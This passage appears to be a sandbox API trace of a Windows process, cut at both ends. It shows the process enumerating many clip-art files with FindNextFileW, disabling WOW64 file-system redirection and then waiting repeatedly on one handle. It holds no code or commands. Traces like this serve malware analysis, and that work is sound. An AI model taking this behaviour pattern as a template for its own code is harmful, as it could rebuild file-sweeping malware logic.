ftLastWriteTime.dwLowDateTime=0x3e240a00, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0xb34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211949.WMF", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50527800, ftCreationTime.dwHighDateTime=0x1be5610, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50527800, ftLastWriteTime.dwHighDateTime=0x1be5610, nFileSizeHigh=0x0, nFileSizeLow=0x11be, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212219.WMF", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56952400, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd4ece40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56952400, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x248e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212661.WMF", cAlternateFileName="")) returned 1 [0286.779] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e6ca800, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e6ca800, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0xb7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212701.WMF", cAlternateFileName="")) returned 1 [0286.780] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7a700, ftCreationTime.dwHighDateTime=0x1be5611, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdae7a700, ftLastWriteTime.dwHighDateTime=0x1be5611, nFileSizeHigh=0x0, nFileSizeLow=0x2424, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212957.WMF", cAlternateFileName="")) returned 1 [0286.780] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8726e600, ftCreationTime.dwHighDateTime=0x1be59a2, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8726e600, ftLastWriteTime.dwHighDateTime=0x1be59a2, nFileSizeHigh=0x0, nFileSizeLow=0x68ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214098.WAV", cAlternateFileName="")) returned 1 [0286.780] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ba5a00, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32ba5a00, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0215086.WMF", cAlternateFileName="")) returned 1 [0286.780] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35c4ec00, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35c4ec00, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x3138, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216516.WMF", cAlternateFileName="")) returned 1 [0286.780] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e7ca500, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e7ca500, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x1c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216588.WMF", cAlternateFileName="")) returned 1 [0286.781] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff3ba100, ftCreationTime.dwHighDateTime=0x1be6c1a, ftLastAccessTime.dwLowDateTime=0xbd512fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xff3ba100, ftLastWriteTime.dwHighDateTime=0x1be6c1a, nFileSizeHigh=0x0, nFileSizeLow=0x5d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216724.WMF", cAlternateFileName="")) returned 1 [0286.781] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825cf700, ftCreationTime.dwHighDateTime=0x1be6c1b, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x825cf700, ftLastWriteTime.dwHighDateTime=0x1be6c1b, nFileSizeHigh=0x0, nFileSizeLow=0x2dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0216858.WMF", cAlternateFileName="")) returned 1 [0286.781] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8cb3500, ftCreationTime.dwHighDateTime=0x1be6c1d, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8cb3500, ftLastWriteTime.dwHighDateTime=0x1be6c1d, nFileSizeHigh=0x0, nFileSizeLow=0x1aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217698.WMF", cAlternateFileName="")) returned 1 [0286.781] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bfdb600, ftCreationTime.dwHighDateTime=0x1be7a36, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bfdb600, ftLastWriteTime.dwHighDateTime=0x1be7a36, nFileSizeHigh=0x0, nFileSizeLow=0x3838, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0221903.WMF", cAlternateFileName="")) returned 1 [0286.781] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7bae00, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d7bae00, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222015.WMF", cAlternateFileName="")) returned 1 [0286.782] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fde0800, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7fde0800, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222017.WMF", cAlternateFileName="")) returned 1 [0286.782] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82406200, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x82406200, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222019.WMF", cAlternateFileName="")) returned 1 [0286.782] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d3e900, ftCreationTime.dwHighDateTime=0x1be7a37, ftLastAccessTime.dwLowDateTime=0xbd539100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85d3e900, ftLastWriteTime.dwHighDateTime=0x1be7a37, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0222021.WMF", cAlternateFileName="")) returned 1 [0286.782] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b0a7e00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b0a7e00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229385.WMF", cAlternateFileName="")) returned 1 [0286.783] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3bab00, ftCreationTime.dwHighDateTime=0x1be860b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7c3bab00, ftLastWriteTime.dwHighDateTime=0x1be860b, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0229389.WMF", cAlternateFileName="")) returned 1 [0286.783] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd64900, ftCreationTime.dwHighDateTime=0x1bc82e4, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6fd64900, ftLastWriteTime.dwHighDateTime=0x1bc82e4, nFileSizeHigh=0x0, nFileSizeLow=0x30da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230876.WMF", cAlternateFileName="")) returned 1 [0286.786] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe1b900, ftCreationTime.dwHighDateTime=0x1be516b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xabe1b900, ftLastWriteTime.dwHighDateTime=0x1be516b, nFileSizeHigh=0x0, nFileSizeLow=0x77f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233018.WMF", cAlternateFileName="")) returned 1 [0286.787] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c43c200, ftCreationTime.dwHighDateTime=0x1be1b5b, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3c43c200, ftLastWriteTime.dwHighDateTime=0x1be1b5b, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233070.WMF", cAlternateFileName="")) returned 1 [0286.787] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d32e00, ftCreationTime.dwHighDateTime=0x1be56ed, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36d32e00, ftLastWriteTime.dwHighDateTime=0x1be56ed, nFileSizeHigh=0x0, nFileSizeLow=0x80f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0233312.WMF", cAlternateFileName="")) returned 1 [0286.787] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f92c00, ftCreationTime.dwHighDateTime=0x1be8094, ftLastAccessTime.dwLowDateTime=0xbd55f260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x23f92c00, ftLastWriteTime.dwHighDateTime=0x1be8094, nFileSizeHigh=0x0, nFileSizeLow=0x6632, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234131.WMF", cAlternateFileName="")) returned 1 [0286.787] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a15c200, ftCreationTime.dwHighDateTime=0x1be7fe9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4a15c200, ftLastWriteTime.dwHighDateTime=0x1be7fe9, nFileSizeHigh=0x0, nFileSizeLow=0xa87e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234266.WMF", cAlternateFileName="")) returned 1 [0286.788] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0286.788] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0286.788] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0286.788] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0286.788] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0286.789] FindNextFileW (hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0) Thread: id = 55 os_tid = 0x67c [0209.867] GetProcessHeap () returned 0x560000 [0209.868] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b20058 [0209.868] GetProcessHeap () returned 0x560000 [0209.868] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b30060 [0209.869] GetProcessHeap () returned 0x560000 [0209.869] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x28) returned 0x597958 [0209.869] GetProcessHeap () returned 0x560000 [0209.869] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x110102) returned 0x3720020 [0209.869] GetProcessHeap () returned 0x560000 [0209.870] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x597220 [0209.870] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0209.870] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0209.870] Wow64DisableWow64FsRedirection (in: OldValue=0x350fab4 | out: OldValue=0x350fab4*=0x0) returned 1 [0209.870] GetProcessHeap () returned 0x560000 [0209.870] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597220 | out: hHeap=0x560000) returned 1 [0209.870] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.871] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.871] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.871] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.871] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.871] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.872] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.872] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.872] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.872] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.873] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.873] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.873] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.873] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.874] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.874] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.874] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.874] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.875] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.875] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.875] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.875] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.876] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.876] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.876] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.876] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.877] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.877] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.877] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.877] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.878] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.879] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.880] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.881] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.882] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.883] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.884] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.885] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.886] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.887] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.888] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.888] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.888] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.889] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.890] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.891] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.892] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.892] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.892] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.892] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.892] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.893] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.893] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.893] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.894] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.895] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0209.896] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) 